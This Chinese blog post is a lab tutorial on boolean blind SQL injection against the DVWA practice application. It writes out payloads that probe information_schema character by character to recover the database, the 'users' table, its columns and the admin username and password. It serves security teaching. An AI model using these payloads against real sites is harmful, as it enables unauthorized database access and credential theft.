日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

SQl盲注原理及其简单演示

發布時間:2023/12/10 编程问答 25 豆豆
生活随笔 收集整理的這篇文章主要介紹了 SQl盲注原理及其简单演示 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

首先說下Sql盲注和Sql注入的區別:

盲注:獲得不了過多的信息,沒有詳細內容;

普通注入:可以通過較為詳細的內容來分析;

盲注概述:在sql注入過程中,SQL語句執行查詢后,查詢數據不能回顯到前端頁面中,我們需要使用一些特殊的方式來判斷或者嘗試,這個過程稱為盲注。

盲注一般分為三種:

布爾盲注:頁面只返回對或者錯,存在或者不存在來判斷

基于時間的盲注:通過頁面沉睡時間來判斷

報錯的盲注:輸入特定的語句使頁面報錯,網頁回輸出相關的錯誤信息;從而是我們想要的基本信息;

今天主要講布爾盲注及其簡單演示;

布爾盲注:(目的:理解過程和原理然后嘗試去寫腳本

基本思路和步驟:

  • 判斷是否存在注入,注入是字符型還是數字型;
  • 猜解當前數據庫名—>猜解數據庫長度—>猜解數據庫名稱;
  • 猜解數據庫中的表名—>庫中表的數量—>表的長度—>表的名稱;
  • 猜解表中的字段名—>表中字段的數量—>字段的長度—>字段的名稱;
  • 猜解數據并得到數據;
  • 使用場景:(今天盲注所要用到的sql條件語句)

    基于布爾值的盲注;

  • 布爾盲注的簡單條件語句
  • 1' and length(database())=1?#(數據庫長度是否為1

    1' and ascii(substr(database(),1,1))>97?#(截取數據庫名第一個字的ASCII值是否大于97

    1' and (select count(table_name) from information_schema.tables where table_schema='dvwa')=1?#(統計dvwa庫中是否有1個表

    1' and length(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1))=1 #(dvwa庫第一個表的長度是否為1

    1' and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1))>97?#(dvwa庫中第一個表的第一個字符的ASCII值

    1' and (select count(column_name) from information_schema.columns where table_name='users')=1 #(users表中是否有一個字段名

    1' and length(substr((select column_name from information_schema.columns where table_name='users' limit?0,1),1))=1 #(users表中第一個字段名的長度是否為1

    1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit?0,1),1))>97?#(users表中第一個字段名的第一個字符的ASCII嗎值是否大于97

    1' and (ascii(substr((select user from users limit 0,1),1,1)))=97#(users表中的user字段的第一個字母的ASCII值是否為97

    SQL盲注簡單演示(基于PHP study數據庫條件之下)

    在做演示之前先打開low級別盲注的源碼幫助我們理解

    可看出返回值只有存在和不存在,可以簡單判斷為布爾盲注;

    • 判斷是否存在注入,注入是字符型還是數字型;

    依次輸入1,2,3,4,56,(我只放了兩截圖)

    ?當輸入6的時候返回值為missing,我們可以大概猜測出大概率為布爾盲注,因為返回值只有存在和不存在,

    現在判斷是否有注入點且分析為字符型還是數字型

    輸入1

    輸出結果為不存在,證明’已經拼接進去,且說明存在注入點,并且注入點就在1’后邊的位置,現在進一步判斷是字符型注入還是數字型注入

    輸入1?and 1=1

    可以看出返回結果為存在,可以確定為字符型注入(不夠確定可以輸入1?and 1=2 ?看結果

    • 猜解當前數據庫名—>猜解數據庫長度—>猜解數據庫名稱

    輸入1' and length(database())=1?#(條件可以自行設定等于大于小于,只要語法不出錯)

    ?可以看出庫長度為4

    然后猜解庫名首字母

    輸入1' and ascii(substr(database(),1,1))>97?#(//將庫名截取后轉換為ASCII值來判斷)(從這開始就用二分法一次次嘗試 利用ASCII碼值對應的字母來獲得庫名)

    ?(我只顯示部分ASCII對應表完整的可以百度)

    經過多次判別ASCII為100時存在 首字母為d(因為截圖太多我這只出結果圖)

    ??第二字母為v

    ?第三字母為w

    ?第四字母為a

    由此得出庫名dvwa

    • 猜解數據庫中的表名—>庫中表的數量—>表的長度—>表的名稱

    輸入1' and (select count(table_name) from information_schema.tables where table_schema='dvwa')=1?#(//統計dvwa庫中有幾個表)

    ?當數量為2時輸出正確,則庫中有兩個表

    現在輸入1' and length(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1))=1 # (顯示第一個表名的長度)(這時候可以以自己的邏輯解決表名,用length ascii等函數均可,方法不唯一)

    ?現在可以得出第一個表為9個字符

    第二個表為5個字符(這時侯我們就要對users(5)表password(8)表格外注意)

    判斷第二個表是不是為users表

    輸入1' and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1))>97 #(來判斷兩個表的名字)

    第二個表第一個字母為u

    ?第二個表第二個字母為s

    ?第三字母為e

    ?

    第四字母為r

    ?第五字母為s

    則得出這第二表名為users

    • 猜解表中的字段名—>表中字段的數量—>字段的長度—>字段的名稱;

    先猜解字段數量輸入1' and (select count(column_name) from information_schema.columns where table_name='users')=1?#

    ?經過無數次實驗后得到字段名的數量為8

    現在確定字段名的長度輸入1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=1 #

    利用這個語句最終得出第四個字段為4個長度 ???第五個字段為8個長度

    現在我們對這兩個字段名稱進行破解

    輸入1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit?0,1),1))>97?#

    得到第一個字段名為user

    ?中間由于截圖太多就不過多演示最終得到第二個字段名為password

    (五)猜解數據并得到數據;

    輸入1' and (ascii(substr((select user from users limit 0,1),1,1)))=97#

    用來猜解user表中內容

    。。。。。。等(我這邊不過多演示,最終通過多演示得到user中的第一行admin)

    同理輸入1' and (ascii(substr((select password from users limit 0,1),1,1)))=97#

    來得到密碼

    這里就不過多演示了

    以上就是簡單實驗演示 和原理,希望大家多多指證!

    總結

    以上是生活随笔為你收集整理的SQl盲注原理及其简单演示的全部內容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。